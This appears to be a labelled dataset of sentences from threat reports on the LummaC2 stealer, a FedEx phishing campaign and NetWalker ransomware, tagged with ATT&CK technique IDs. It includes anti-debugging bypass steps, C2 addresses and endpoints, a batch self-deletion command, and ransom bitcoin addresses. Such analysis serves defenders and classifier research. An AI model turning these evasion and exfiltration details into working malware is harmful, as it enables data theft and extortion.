{"sentence": "One remarkable result we achieved using PEStudio was that it uses ASLR.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "If the EAX register takes 1 as a value, the program will close itself, and it is impossible to debug with the analysis tools; that’s why changing it to 0 to run the program without closing.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The beginning of obfuscated strings and the field where browser cookie information is collected.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The stealer also targets crypto wallets such as Binance, Electrum, and Ethereum and collects sensitive information from the victim’s machine.", "labels": ["T1005"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "(0040772c)", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Crypto Wallets: Deobfuscated strings come after.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Web Browsers: Deobfuscated strings come after.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Upon execution, the stealer passes the obfuscated string to a function that strips the arbitrary string and delivers the original string.", "labels": ["T1027", "T1140"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The results obtained by decoding strings are compared below.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Dynamic Analysis We have started with the first findings we detected while running LummaC2 Stealer in the “behavior” section.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Now, let’s move on to the detailed dynamic analysis stage, verify what we found in the “static analysis” section, and check if we can change the request to the C2 address.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "IsDebuggerPresent By changing the return value for IsDebuggerPresent, one of the most critical APIs we put in breakpoint, we perform the anti-debugging bypass operation.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "LummaC2 stealer sends this information to its C2 server, as shown below.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "If we try to skip this part directly, the process will terminate.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We found the C2 address by researching VirusTotal.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "As a result, network activity was observed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The POST request is performed as follows.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Host: 195[.]123[.]226[.]91 You can find Shodan results about the host address here.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "This means that the C2 is transmitted as a zip file during the POST request.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The collected data is transferred to the C2 server as a zip file.", "labels": ["T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Since Microsoft Edge and Mozilla Firefox are installed in our analysis environment, Lumma Stealer only collects data from these browsers.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "When we begin examining from the lowest to the highest in size, we find only the “System.txt” file in the lowest size file.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Its contents are specified in the following image.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "When we examine the file named Mozilla Firefox, when we view the .db file called cookies, we can see that it collects the following cookie information.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In conclusion, Lumma Stealer collects cookie information, search histories, and key inputs from browsers and transfers them to the C2 address.", "labels": ["T1005", "T1041"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "As seen in the screenshot below, the results of “collections,” “communicating files,” and “referer files” are displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We noticed a large number of open ports when we searched through Shodan, where 144[.]76[.]173[.]247 IP addresses in Germany caught our attention.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "We accessed C2 while visiting port 80. (VirusTotal Graph: Collection)", "labels": ["T1071.001"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "In the next step, when we visit port 80, the login page can be displayed.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "C2:144[.]76[.]173[.]247/login Analyst Note:", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The IP address 144[.]76[.]173[.]247 was not encountered during the analysis.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Shodan Result Communication Addresses Requests 195[.]123[.]226[.]91 POST /c2sock: multipart/form-data;boundary=оaj195iak20ka99441aj1 144[.]76[.]173[.]247 GET/login LummaC2 behaves like other stealer-type malware, which can take away system and sensitive data from the victim’s machine.", "labels": ["T1005", "T1082"], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "These dangerous programs can usually steal information from web browsers and target crypto wallets.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "The additional information stored on web browsers, such as login credentials, PII, and financial information, can be further leveraged to conduct fraud activities.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Threat actors can use the stolen data to steal cryptocurrencies from the victim’s accounts or sell this data to other threat actors for financial gain. Indicators of Compromise You can find the full list of IOCs in the SOCRadar Platform.", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "Rules & Signatures MITRE ATT&CK Matrix Discovery System Information Discovery T1082 Defense Evasion Debugger Evasion T1622 Defense Evasion Deobfuscate/Decode Files or Information T1140 Defense Evasion Impair Defences T1562 Collection Automated Collection T1119 Collection Data from the Local System T1005 Command and Control Application Layer Protocol T1071 Exfiltration Automated Exfiltration T1020 The post Malware Analysis: LummaC2 Stealer appeared first on SOCRadar:registered: Cyber Intelligence Inc..", "labels": [], "doc_title": "Malware Analysis LummaC2 Stealer"}
{"sentence": "This type of social engineering attack is commonly found in phishing pages, emails, and other scams, where a false sense of urgency is created to urge the victim into doing an action that eventually leads to personal data theft.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This specific phishing campaign is noteworthy because it abuses two cloud services throughout the attack: TrustedForm, a digital certificate service provided by ActiveProspectis, is abused to track victims and collect information about them, and the PAAY 3DS, a cloud-based platform that authenticates payment transactions, is abused to validate the credit card details collected from the victims.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Cybersecurity awareness training, specifically educating users to be wary of fake shipment notifications, is an effective defense against these types of phishing attacks.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope customers also receive protection from the threats discussed in this blog through the Next Generation Secure Web Gateway (SWG).", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "First Stage – Deception", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The attack starts when the victim receives an email or a text message that uses a common social engineering technique, creating a false sense of urgency to get the victim’s attention.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The specific approach here, using a fake shipping notification, is also a common technique used by scammers.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "First steps of this FedEx phishing campaign.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 1 – Once the victim reaches the page via phishing email or SMS text, they are instructed to click “Confirm” to view a message from “Express.”", "labels": ["T1204.002"], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This webpage has “FedEx” in the title and uses the same company colors to deceive the user.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The customs fee is just an excuse to collect the victim’s personal and credit card data in the next stage of the attack.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "The JSON includes the questions, form fields, and second-stage URLs, which will be all used in the next steps.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "JSON containing data about the phishing.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 5 – The deception continues by giving the victim a delivery estimate.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "As soon as the victim interacts with the questions on step 4, the phishing starts sending requests to the TrustedForm API.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "TrustedForm is a digital certificate service provided by ActiveProspect, which provides marketing automation and compliance platforms.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "We believe that the attacker is creating a TrustedForm certificate to collect more information about victims.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page abusing TrustedForm.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Below is the type of information that would be available in a TrustedForm certificate, as demonstrated in their demo webpage.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page redirecting the victim to the next stage.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing trying to steal personal and credit card data.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 6 – This page asks for the victim’s personal information, such as the full name, phone number, and email address.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Step 7 – Then, the page asks for credit card details and uses PAAY to assess whether the credit card is valid.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This is done by using their 3DS (3-D Secure) system, which is a protocol designed to add more security and prevent fraud in online purchases.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Unsurprisingly, if the victim allows notifications, they are bombarded with ads from the “virtualpushplatform[.]com” domain, including ads for fake antivirus software, fake coupons, and free iPads.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Phishing page asking permission to show notifications.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "These ads lead to webpages that eventually ask for personal information or try to download malware.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "So, even in case the phishing attack fails at any stage, if the victim allows notifications, they will still be targeted with additional scams.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Conclusions By abusing cloud services, attackers are able to create more elaborate phishing pages that are also more resilient to detection.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "This phishing campaign is not only trying to steal data from victims, but also abuses browser notifications to bombard victims with additional scams even if this one is unsuccessful.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope uses ML-based inline, out-of-band phishing detection engines, and threat intelligence systems to block such phishing attempts.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Recommendations Phishing pages from the campaign described in the post are easily recognizable by the URL, as the attacker has made little effort to disguise the URL using typosquatting or other techniques.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "We strongly recommend users to never enter their data on pages that promise something, such as the delivery of a supposedly suspended package.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope Threat Labs also recommends that organizations review their security policies to ensure that they are adequately protected against these and similar phishing pages and scams: Inspect all HTTP and HTTPs traffic, including all web and cloud traffic, to prevent users from visiting malicious websites.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Netskope customers can configure their Netskope NG-SWG with a URL filtering policy to block known phishing and scam sites, and a threat protection policy to inspect all web content to identify unknown phishing and scam sites using a combination of signatures, threat intelligence, and machine learning.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Use Remote Browser Isolation (RBI) technology to provide additional protection when there is a need to visit websites that fall in categories that can present higher risk, like Newly Observed and Newly Registered Domains.", "labels": [], "doc_title": "FedEx Phishing Campaign Abusing TrustedForm and PAAY"}
{"sentence": "Executive Summary The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and our research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We approached our investigation of NetWalker with some possible ideas about the threat actor behind it, only to later disprove our own hypothesis.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We believe the inclusion of our thinking, and the means with which we debunked our own theory, highlight the importance of thorough research and we welcome further discussion on this topic.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We also encourage our peers in the industry to share information with us in case you have more evidence.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee protects its customers against the malware covered in this blog in all its products, including personal antivirus, endpoint and gateway.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To learn more about how McAfee products can defend against these types of attacks, visit our blog on Building Adaptable Security Architecture Against NetWalker.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Introduction Since 2019, NetWalker ransomware has reached a vast number of different targets, mostly based in western European countries and the US.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "During the COVID-19 pandemic, the adversaries behind NetWalker clearly stated that hospitals will not be targeted; whether they keep to their word remains to be seen.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The ransomware appends a random extension to infected files and uses Salsa20 encryption.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "It uses some tricks to avoid detection, such as a new defence evasion technique, known as reflective DLL loading, to inject a DLL from memory.", "labels": ["T1055"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker collective, much like those behind Maze, REvil and other ransomware, threatens to publish victims’ data if ransoms are not paid.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "People who already have a foothold in a potential victim’s network and can exfiltrate data with ease are especially sought after.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This is not surprising, considering that publishing a victims’ data is part of NetWalker’s model.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The following sections are dedicated to introducing the NetWalker malware and displaying the telemetry status before moving on to the technical malware analysis of the ransomware’s behaviour.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We will explain how the decryptor works and show some interactions between NetWalker’s operators and their victims.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "After this, we discuss the changes in modus operandi since September 2019, especially regarding payment behaviour.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Then we show our attempts, unfruitful as they were, at discovering a link between NetWalker and previous, seemingly unrelated ransomware variants.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Telemetry Using McAfee’s billion Insights sensors, we can show the global prevalence of the NetWalker ransomware. Figure 1.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "McAfee MVISION Insights shows global prevalence of the NetWalker ransomware Technical Analysis Ransom note (pre-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Before March 2020, the NetWalker ransom note indicated how to contact the adversary directly using anonymous email account services with random names (such as kkeessnnkkaa@cock.li and hhaaxxhhaaxx@tuta.io): Figure 2.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Example of ransom note prior to March 2020 Ransom Note (Post-March 2020)", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "On 12 March 2020, a researcher shared a screenshot of a new NetWalker ransom note in a tweet and we can see that the attackers have changed the contact method significantly.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Email communication has been dropped completely with victims now required to make contact through the NetWalker Tor interface where, after submitting their user key, they will then be redirected to a chat with NetWalker technical support.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The Tor page was not the only noticeable change we will highlight in this blog.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This file is extracted to memory and decrypted using the RC4 algorithm with a hard-coded key in the resource.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Before 12 March 2020, NetWalker used the email contact process between its support operation and the victims to proceed with payment and send the decryption program.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "To do this, NetWalker used its configuration file in the resource to set its encryption mode, the name of the ransom note, etc., and email contacts.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Name wwllww.exe Size 96256 bytes File-Type EXE SHA 256 58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c Compile time 6 December 2019 Figure 5.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker resource from wwllww.exe Once decrypted, the configuration file reveals several parameters, allowing us to understand how it works (how it constitutes the ransom note, the number of threads allocated for encryption, etc.): mpk Public key mode Encryption mode thr Allocated threads for encryption process spsz Encryption chunk namesz Name length idsz ID length crmask .mailto[email].{ID} mail Contact mail lfile Ransom Note name lend B64 encoded ransom note white Encryption whitelist kill Processes, tasks, service names to terminate unlocker Decryption exclusion list NetWalker Resource Analysis (Post-March 2020)", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This field was replaced by “onion1” and “onion2”, and these fields are set with the NetWalker blog URL/payment page (hxxp://rnfdsgm<snip>drqqd.onion/).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The latter can, for example, be a regular Bitmap (open matrix image format used by Windows) that can be used by malware to execute code or as a payload dropper.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The image’s pixels are an actual binary representation of the payload.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This process can be summarized as Exe -> Resources -> BMP with embedded data in pixels fetched and decrypted by, e.g. a DLL -> Payload), etc.", "labels": ["T1027", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The NetWalker developers chose custom types by using 1337 or 31337 structs, so the resource format does not change.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware sample used for this blog post has the same information: Name c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Size 70656 bytes File-Type EXE SHA 256 c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Compile time 2 May 2020", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The unpacked malware is a binary file of 32 bits that can be found as an EXE file.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 7.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Information sample of the malware The malware’s first action is to combine all the required functions it needs into one large function, combining the modules already loaded in Windows with additional DLLs as described below.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Instead of searching for the function in the usual way, the malware makes a CRC32 hash of the name of each function and compares with hardcoded values.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get the module accessing the PEB and using a CRC32", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "If the module cannot be discovered, it will load with “LdrLoadDll”, a native function of Windows, to try avoiding hooks in the usual functions, e.g. “LoadLibraryW”: Figure 9.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get functions from module, e.g. using a CRC32 hash If the malware fails to get a function, it will go to a “sleep” call and terminate itself.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Later, the malware extracts the configuration file from a resource with a custom type and a custom name using the functions “FindResourceA”, “LockResource”, “LoadResource” and “SizeOfResource”.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The file extracted in memory is decrypted using the RC4 algorithm with a hardcoded key in the resource.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Variable size -> the configuration file encrypted.", "labels": ["T1027"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Finally, it decrypts the configuration file: Figure 11.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Get configuration file and decrypt it If the malware fails to get the configuration file, it will terminate itself.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "After getting the configuration file, the malware will parse it and save the fields in memory and write in the registry information to encrypt the files in the machine.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Write in the registry After the writing in the registry has been completed, it will get some privileges using a token as SE_DEBUG_PRIVILEGE and SE_IMPERSONATE_PRIVILEGE: Figure 13.", "labels": ["T1112"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Volume Shadow copies can contain copies of the encrypted files and would be an option to restore from if no backup exists.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Delete the shadow volumes Later, the malware will enumerate the logical units, prepare the new extension for the future encrypted files, based on the size that is defined in the ransomware config with a random extension, and encrypt all files in the fixed type units and remote units with the new extension.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Crypt the files After all these steps have been completed, it will create the ransom note on the desktop using the functions “SHGetFolderPathlW” and “CreateFileW”.", "labels": ["T1106"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Subsequently, it will write the ransom note from the memory into a new file with the function “WriteFile”.", "labels": ["T1106"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The malware will create the ransom note in the root folder (for example “c:\\”) of each logical unit.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The batch script will delete the malware sample with its path using the command “del” and finally delete the bat file with the command “del %0%”.", "labels": ["T1059.003", "T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This way the malware tries to remove itself from the machine to avoid being detected and analyzed by security researchers: Figure 17.", "labels": ["T1070.004"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor download The decryptor is delivered in a zip archive containing the decryptor executable and a note explaining how to run the program correctly: Figure 20.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor execution At the end of the decryption process, the program indicates the number of decrypted files, deletes the ransom note if the user has checked that option, and terminates, leaving the user to resume their work peacefully: Figure 22.", "labels": ["T1070.004", "T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Decryptor has finished the decryption process The decryptor program appears unique and is linked to one victim specifically.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In our example, it only decrypts the files belonging to the victim who made the payment from the user key specified in the ransom note.", "labels": ["T1140"], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti seems to have joined the underground scene in February 2020 but claims to have been active with NetWalker ransomware since September 2019.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We have seen NetWalker activity before March but there has been a noticeable uptick in larger victims since their advertisement.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "For a relatively new ransomware it has been well received and respected among other cybercriminals as compared to, for instance, Nemty ransomware.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti advertising NetWalker on an underground forum Bugatti provides regular updates on the improvements in the ransomware, such as the popular Invoke-ReflectivePEInjection method, also commonly used by Sodinokibi.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In addition to the improvements in the ransomware, open slots for new affiliates are advertised.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti strongly emphasized that they are primarily looking for experienced affiliates that focus on compromising the complete networks of organizations as opposed to end users.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "NetWalker is clearly following in the footsteps of its illustrious targeted ransomware peers like Sodinokibi, Maze and Ryuk.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We have seen a similar posting in the past with the influential Sodinokibi affiliate Lalartu, so we decided to follow the money once more. Figure 24.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Bugatti is looking for advanced affiliates and shows samples of BTC payments With the help of CipherTrace software we were able to find the complete BTC addresses from the screenshot and investigate the ledger further: Screenshot 1 3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J Screenshot 2 39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V Screenshot 3 39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB Screenshot 4 3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs Following the Money In the transactions mentioned in the underground forum post, the ransom amount payed by the victims is presumably shown.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the case of the four posted transactions above, the full amount payed by the victim was transferred to two addresses (these addresses begin with bc1q98 and 1DgLhG respectively).", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We then proceeded on to analyze all incoming transactions to these two addresses and we were able to make the following observations: The first incoming transaction occurs on 1 March 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "A split like this is typically seen in Ransomware-as-a-Service, where the ransom payment is split between the RaaS operators and the affiliate who caused the infection.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "While the beneficiaries of the 5% cuts remain the same, the beneficiary of the 10% cut seems to change over time.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Based on the forum post we assume these addresses also belong to the NetWalker actors.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Payments to the bc1q98 and 1DgLhG addresses that are not being split continue up until the end of May.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Possibly the initial NetWalker operators added a RaaS operation, while continuing to cause NetWalker infections themselves.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "While analyzing the bitcoin addresses that received 80% or more of the transaction amount, we noticed that there are some addresses that receive payments multiple times.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "A possible explanation could be that the address is configured as payout addresses for a certain campaign or affiliate.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We identified 30 unique bitcoin addresses that seem to be the beneficiary of this larger portion of the ransom transaction.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the two addresses uncovered by tracing the transactions a total of 641 bitcoin is held on 27 July 2020.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Which at the current market value of bitcoin is worth well over 7 million USD.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Amounts Extorted Working under the hypothesis that all the incoming transactions are ransomware payments; we can make the following observations: We found 23 transactions where the ransom payments were not split up and the beneficiaries are the two bitcoin addresses found by following the transactions mentioned in the underground forum post.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Additionally, the amount received from remaining transactions following the Ransomware-as-a-Service scheme by these addresses between 1 March 2020 and 27 July 2020 is 188 BTC.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "In the transactions that are split, the largest amount (usually 80% to 90% of the total transaction value) is presumably transferred to the affiliate that caused the infection.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Even though we do not have complete visibility into the BTC flow before NetWalker started ramping up, one thing is certain, this quarter alone it has been highly successful at extorting organisations for large amounts of money.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Figure 25.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Overview of uncovered bitcoin transactions, highlighting the two identified actor addresses.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Observed Changes While talking about the impact of NetWalker with our partners, we learned that the change in modus operandi not only affected the way the actors communicate with their victims.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "The benefits of using the newer SegWit addresses include faster transaction time and lower transaction cost.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "This makes us believe the ransomware actors were professionalizing their operation just before expanding to the Ransomware-as-a-Service model.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "Comparison with Previous Ransomware Given the sudden appearance of NetWalker ransomware and the associated threat actor, it suggests that some prior knowledge on ransomware development or underground presence had to be in place.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
{"sentence": "We came across one threat actor offering ransomware that caught our attention.", "labels": [], "doc_title": "Take a NetWalk on the Wild Side"}
